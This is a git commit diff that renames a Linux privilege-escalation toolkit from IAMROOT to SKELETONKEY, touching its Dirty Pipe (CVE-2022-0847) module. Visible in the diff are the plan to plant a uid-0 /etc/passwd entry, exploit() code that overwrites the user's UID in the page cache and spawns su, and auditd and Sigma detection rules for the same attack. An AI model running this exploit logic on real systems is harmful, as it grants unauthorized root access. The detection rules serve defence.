rename: IAMROOT → SKELETONKEY across the entire project
Breaking change. Tool name, binary name, function/type names,
constant names, env vars, header guards, file paths, and GitHub
repo URL all rebrand IAMROOT → SKELETONKEY.
Changes:
- All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum
values, docs, comments)
- All "iamroot" → "skeletonkey" (functions, types, paths, CLI)
- iamroot.c → skeletonkey.c
- modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h}
- tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh
- Binary "iamroot" → "skeletonkey"
- GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY
- .gitignore now expects build output named "skeletonkey"
- /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-*
- Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_*
New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow
SKELETONKEY block letters) replaces the IAMROOT banner in
skeletonkey.c and README.md.
VERSION: 0.3.1 → 0.4.0 (breaking).
Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0.
All 24 modules still register; no functional code changes — pure
rename + banner refresh.
This commit is contained in:
@@ -25,7 +25,7 @@ by them.
|
||||
|
||||
Even in 2026, many production deployments still run vulnerable
|
||||
kernels (RHEL 7/8, older Ubuntu LTS, embedded). Bundling Dirty Pipe
|
||||
makes IAMROOT useful as a "historical sweep" tool on long-tail
|
||||
makes SKELETONKEY useful as a "historical sweep" tool on long-tail
|
||||
systems.
|
||||
|
||||
## Implementation plan
|
||||
@@ -34,8 +34,8 @@ systems.
|
||||
`NOTICE.md` when implemented)
|
||||
- `detect()`: kernel version check + `/proc/version` parse + test
|
||||
for fixed-version backports
|
||||
- `exploit()`: writes `iamroot::0:0:dirtypipe:/:/bin/bash` into
|
||||
`/etc/passwd`, then `su iamroot` — same shape as copy_fail's
|
||||
- `exploit()`: writes `skeletonkey::0:0:dirtypipe:/:/bin/bash` into
|
||||
`/etc/passwd`, then `su skeletonkey` — same shape as copy_fail's
|
||||
backdoor mode
|
||||
- Detection rules: auditd on splice() calls + pipe write patterns,
|
||||
filesystem audit on `/etc/passwd` modification by non-root
|
||||
@@ -44,4 +44,4 @@ systems.
|
||||
|
||||
Pick this up after Phase 1 (module-interface refactor of the
|
||||
copy_fail family) so this module can use the standard
|
||||
`iamroot_module` shape from the start.
|
||||
`skeletonkey_module` shape from the start.
|
||||
|
||||
@@ -13,7 +13,7 @@ Original advisory: <https://dirtypipe.cm4all.com/>
|
||||
|
||||
Upstream fix: mainline 5.17 (commit `9d2231c5d74e`, Feb 2022).
|
||||
|
||||
## IAMROOT role
|
||||
## SKELETONKEY role
|
||||
|
||||
This module bundles the canonical splice-into-pipe primitive that
|
||||
writes UID=0 into `/etc/passwd`'s page cache, then drops a root shell
|
||||
|
||||
@@ -13,14 +13,14 @@
|
||||
# Watch /etc/passwd, /etc/shadow, /etc/sudoers, /etc/sudoers.d/* for
|
||||
# any modification by non-root — the Dirty Pipe payload typically
|
||||
# overwrites these to gain root.
|
||||
-w /etc/passwd -p wa -k iamroot-dirty-pipe
|
||||
-w /etc/shadow -p wa -k iamroot-dirty-pipe
|
||||
-w /etc/sudoers -p wa -k iamroot-dirty-pipe
|
||||
-w /etc/sudoers.d -p wa -k iamroot-dirty-pipe
|
||||
-w /etc/passwd -p wa -k skeletonkey-dirty-pipe
|
||||
-w /etc/shadow -p wa -k skeletonkey-dirty-pipe
|
||||
-w /etc/sudoers -p wa -k skeletonkey-dirty-pipe
|
||||
-w /etc/sudoers.d -p wa -k skeletonkey-dirty-pipe
|
||||
|
||||
# Watch every splice() syscall — combined with the file watches above
|
||||
# this catches the canonical exploit shape. (High volume on servers
|
||||
# using nginx/HAProxy; consider scoping with -F gid!=33 -F gid!=99 to
|
||||
# exclude web servers.)
|
||||
-a always,exit -F arch=b64 -S splice -k iamroot-dirty-pipe-splice
|
||||
-a always,exit -F arch=b32 -S splice -k iamroot-dirty-pipe-splice
|
||||
-a always,exit -F arch=b64 -S splice -k skeletonkey-dirty-pipe-splice
|
||||
-a always,exit -F arch=b32 -S splice -k skeletonkey-dirty-pipe-splice
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
title: Possible Dirty Pipe exploitation (CVE-2022-0847)
|
||||
id: f6b13c08-iamroot-dirty-pipe
|
||||
id: f6b13c08-skeletonkey-dirty-pipe
|
||||
status: experimental
|
||||
description: |
|
||||
Detects file modifications to /etc/passwd, /etc/shadow, /etc/sudoers,
|
||||
@@ -10,7 +10,7 @@ description: |
|
||||
references:
|
||||
- https://dirtypipe.cm4all.com/
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2022-0847
|
||||
author: IAMROOT
|
||||
author: SKELETONKEY
|
||||
date: 2026/05/16
|
||||
logsource:
|
||||
product: linux
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* dirty_pipe_cve_2022_0847 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef DIRTY_PIPE_IAMROOT_MODULES_H
|
||||
#define DIRTY_PIPE_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module dirty_pipe_module;
|
||||
|
||||
#endif
|
||||
+39
-39
@@ -1,9 +1,9 @@
|
||||
/*
|
||||
* dirty_pipe_cve_2022_0847 — IAMROOT module
|
||||
* dirty_pipe_cve_2022_0847 — SKELETONKEY module
|
||||
*
|
||||
* Status: 🔵 DETECT-ONLY for now. Exploit lifecycle is a follow-up
|
||||
* commit (the C code is well-understood — Max Kellermann's public PoC
|
||||
* is the reference — but landing it under the iamroot_module
|
||||
* is the reference — but landing it under the skeletonkey_module
|
||||
* interface needs the shared passwd-field/exploit-su helpers in core/
|
||||
* which are deferred to Phase 1.5).
|
||||
*
|
||||
@@ -15,22 +15,22 @@
|
||||
*
|
||||
* Detect logic:
|
||||
* - Parse uname() release into major.minor.patch
|
||||
* - If kernel < 5.8 → IAMROOT_OK (bug not introduced yet)
|
||||
* - If kernel < 5.8 → SKELETONKEY_OK (bug not introduced yet)
|
||||
* - If kernel is on a branch with a known backport, compare patch
|
||||
* level (above threshold = patched, below = vulnerable)
|
||||
* - If kernel >= 5.17 → IAMROOT_OK (mainline fix)
|
||||
* - Otherwise → IAMROOT_VULNERABLE
|
||||
* - If kernel >= 5.17 → SKELETONKEY_OK (mainline fix)
|
||||
* - Otherwise → SKELETONKEY_VULNERABLE
|
||||
*
|
||||
* Edge case: distros sometimes ship custom-numbered kernels (e.g.
|
||||
* Ubuntu's `5.15.0-100-generic` where the .100 is Ubuntu's release
|
||||
* counter, NOT the upstream patch level). For now we treat that as
|
||||
* an unknown distro backport and report IAMROOT_TEST_ERROR with a
|
||||
* an unknown distro backport and report SKELETONKEY_TEST_ERROR with a
|
||||
* hint. A future enhancement: parse /proc/version's full string
|
||||
* which usually includes the upstream patch level after the distro
|
||||
* suffix.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
|
||||
@@ -223,7 +223,7 @@ static const struct kernel_range dirty_pipe_range = {
|
||||
* /etc/passwd writes; safe to run from --scan --active. */
|
||||
static int dirty_pipe_active_probe(void)
|
||||
{
|
||||
char probe_path[] = "/tmp/iamroot-dirty-pipe-probe-XXXXXX";
|
||||
char probe_path[] = "/tmp/skeletonkey-dirty-pipe-probe-XXXXXX";
|
||||
int fd = mkstemp(probe_path);
|
||||
if (fd < 0) return -1;
|
||||
const char seed[16] = "ABCDABCDABCDABCD";
|
||||
@@ -252,12 +252,12 @@ static int dirty_pipe_active_probe(void)
|
||||
return readback[4] == 'X' ? 1 : 0;
|
||||
}
|
||||
|
||||
static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] dirty_pipe: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug introduced in 5.8. */
|
||||
@@ -266,7 +266,7 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[i] dirty_pipe: kernel %s predates the bug (introduced in 5.8)\n",
|
||||
v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched_by_version = kernel_range_is_patched(&dirty_pipe_range, &v);
|
||||
@@ -286,7 +286,7 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[!] dirty_pipe: ACTIVE PROBE CONFIRMED — primitive lands "
|
||||
"(version %s)\n", v.release);
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
if (probe == 0) {
|
||||
if (!ctx->json) {
|
||||
@@ -294,7 +294,7 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
|
||||
"primitive blocked (likely patched%s)\n",
|
||||
patched_by_version ? "" : ", or distro silently backported");
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
/* probe < 0: probe machinery failed (mkstemp/open/read) — fall
|
||||
* back to version-only verdict and report TEST_ERROR caveat */
|
||||
@@ -309,21 +309,21 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[+] dirty_pipe: kernel %s is patched (version-only check; "
|
||||
"use --active to confirm empirically)\n", v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] dirty_pipe: kernel %s appears VULNERABLE (version-only check)\n"
|
||||
" Confirm empirically: re-run with --scan --active\n",
|
||||
v.release);
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t dirty_pipe_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Re-confirm vulnerability before writing to /etc/passwd. */
|
||||
iamroot_result_t pre = dirty_pipe_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = dirty_pipe_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] dirty_pipe: detect() says not vulnerable; refusing to exploit\n");
|
||||
return pre;
|
||||
}
|
||||
@@ -333,11 +333,11 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
|
||||
struct passwd *pw = getpwuid(euid);
|
||||
if (!pw) {
|
||||
fprintf(stderr, "[-] dirty_pipe: getpwuid(%d) failed: %s\n", euid, strerror(errno));
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (euid == 0) {
|
||||
fprintf(stderr, "[i] dirty_pipe: already running as root — nothing to escalate\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Find the UID field. Need a 4-digit-or-similar UID we can replace
|
||||
@@ -349,7 +349,7 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
|
||||
if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
|
||||
fprintf(stderr, "[-] dirty_pipe: could not locate %s's UID field in /etc/passwd\n",
|
||||
pw->pw_name);
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] dirty_pipe: user '%s' UID '%s' at offset %lld (len %zu)\n",
|
||||
@@ -368,7 +368,7 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
|
||||
* far past the file's first 4096 bytes. Refuse cleanly. */
|
||||
if ((uid_off & 0xfff) == 0) {
|
||||
fprintf(stderr, "[-] dirty_pipe: UID field is page-aligned; primitive can't write here\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
@@ -377,13 +377,13 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
|
||||
}
|
||||
if (dirty_pipe_write("/etc/passwd", uid_off, replacement, uid_len) < 0) {
|
||||
fprintf(stderr, "[-] dirty_pipe: page-cache write failed\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (ctx->no_shell) {
|
||||
fprintf(stderr, "[+] dirty_pipe: --no-shell — patch landed; not spawning su.\n"
|
||||
"[i] dirty_pipe: revert with `iamroot --cleanup dirty_pipe`\n");
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
"[i] dirty_pipe: revert with `skeletonkey --cleanup dirty_pipe`\n");
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
|
||||
/* /etc/passwd now reports our user as uid 0 (in the page cache).
|
||||
@@ -394,35 +394,35 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
|
||||
/* If execlp returns, su didn't actually pop root — revert and report. */
|
||||
perror("execlp(su)");
|
||||
revert_passwd_page_cache();
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
static iamroot_result_t dirty_pipe_cleanup(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t dirty_pipe_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] dirty_pipe: evicting /etc/passwd from page cache\n");
|
||||
}
|
||||
revert_passwd_page_cache();
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Embedded detection rules — keep the binary self-contained so
|
||||
* `iamroot --detect-rules --format=auditd` works without a separate
|
||||
* `skeletonkey --detect-rules --format=auditd` works without a separate
|
||||
* data-dir install. */
|
||||
static const char dirty_pipe_auditd[] =
|
||||
"# Dirty Pipe (CVE-2022-0847) — auditd detection rules\n"
|
||||
"# See modules/dirty_pipe_cve_2022_0847/detect/auditd.rules for full version.\n"
|
||||
"-w /etc/passwd -p wa -k iamroot-dirty-pipe\n"
|
||||
"-w /etc/shadow -p wa -k iamroot-dirty-pipe\n"
|
||||
"-w /etc/sudoers -p wa -k iamroot-dirty-pipe\n"
|
||||
"-w /etc/sudoers.d -p wa -k iamroot-dirty-pipe\n"
|
||||
"-a always,exit -F arch=b64 -S splice -k iamroot-dirty-pipe-splice\n"
|
||||
"-a always,exit -F arch=b32 -S splice -k iamroot-dirty-pipe-splice\n";
|
||||
"-w /etc/passwd -p wa -k skeletonkey-dirty-pipe\n"
|
||||
"-w /etc/shadow -p wa -k skeletonkey-dirty-pipe\n"
|
||||
"-w /etc/sudoers -p wa -k skeletonkey-dirty-pipe\n"
|
||||
"-w /etc/sudoers.d -p wa -k skeletonkey-dirty-pipe\n"
|
||||
"-a always,exit -F arch=b64 -S splice -k skeletonkey-dirty-pipe-splice\n"
|
||||
"-a always,exit -F arch=b32 -S splice -k skeletonkey-dirty-pipe-splice\n";
|
||||
|
||||
static const char dirty_pipe_sigma[] =
|
||||
"title: Possible Dirty Pipe exploitation (CVE-2022-0847)\n"
|
||||
"id: f6b13c08-iamroot-dirty-pipe\n"
|
||||
"id: f6b13c08-skeletonkey-dirty-pipe\n"
|
||||
"status: experimental\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
@@ -435,7 +435,7 @@ static const char dirty_pipe_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2022.0847]\n";
|
||||
|
||||
const struct iamroot_module dirty_pipe_module = {
|
||||
const struct skeletonkey_module dirty_pipe_module = {
|
||||
.name = "dirty_pipe",
|
||||
.cve = "CVE-2022-0847",
|
||||
.summary = "pipe_buffer CAN_MERGE flag inheritance → page-cache write",
|
||||
@@ -451,7 +451,7 @@ const struct iamroot_module dirty_pipe_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_dirty_pipe(void)
|
||||
void skeletonkey_register_dirty_pipe(void)
|
||||
{
|
||||
iamroot_register(&dirty_pipe_module);
|
||||
skeletonkey_register(&dirty_pipe_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* dirty_pipe_cve_2022_0847 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef DIRTY_PIPE_SKELETONKEY_MODULES_H
|
||||
#define DIRTY_PIPE_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module dirty_pipe_module;
|
||||
|
||||
#endif
|
||||
Reference in New Issue
Block a user